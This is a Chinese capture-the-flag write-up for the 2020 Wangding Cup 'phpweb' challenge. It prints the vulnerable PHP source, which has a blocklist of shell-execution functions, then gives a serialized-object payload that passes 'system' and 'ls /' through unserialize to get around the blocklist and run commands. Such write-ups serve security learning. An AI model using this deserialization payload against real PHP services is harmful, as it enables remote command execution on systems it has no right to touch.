zoukankan      html  css  js  c++  java
  • 2020网鼎杯 朱雀组 phpweb

    index.php页面,提示有一个报错的地方,这个报错好像是php配置的问题

    由于定时刷新有点恶心,所以抓下包,结果:

    根据date函数的参数推断,这里执行了date函数,于是试一下eval以及assert,结果:

    存在WAF,先看看源码,payload

    func=highlight_file&p=index.php

    得到:

    <!DOCTYPE html>
    <html>
    <head>
        <title>phpweb</title>
        <style type="text/css">
            body {
                background: url("bg.jpg") no-repeat;
                background-size: 100%;
            }
            p {
                color: white;
            }
        </style>
    </head>
    
    <body>
    <script language=javascript>
        setTimeout("document.form1.submit()",5000)
    </script>
    <p>
        <?php
        $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
    
        if ($func != null) {
            $func = strtolower($func);
            if (!in_array($func,$disable_fun)) {
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
        ?>
    </p>
    <form  id=form1 name=form1 action="index.php" method=post>
        <input type=hidden id=func name=func value='date'>
        <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
    </body>
    </html>

    基本上可以得到webshell的全禁止了,而且还有一个小写的转化,不过里面的Test很鸡肋啊,一看就是要你反序列化的啊。于是:

    <?php
    class Test{
        var $p = "ls /";
        var $func = "system";
    
    
    }
    $c = new Test();
    echo serialize($c);
    ?>

    payload:

    func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

    再去读tmp,一般tmp对普通用户有权限

     读出文件

     

  • 相关阅读:
    git fetch, git pull, git pull -rebase区别
    Git 变更远程仓库地址
    终于有人把 Docker 讲清楚了,万字详解!
    Harbor install and used
    访问gitlab从http方式改为ssh方式,gitlab使用的不是标准22端口
    Linux下的ifconfig已经过时了,试试ip命令
    在CentOS 8上使用DNF管理软件包
    搭建hadoop的HA集群模式(hadoop2.7.3+hive+spark)
    spark运行时加载配置文件(hive,hdfs)
    java 如何用pattern 和 Matcher 来使用正则表达式(一)
  • 原文地址:https://www.cnblogs.com/jiluxuexi/p/13148685.html
Copyright © 2011-2022 走看看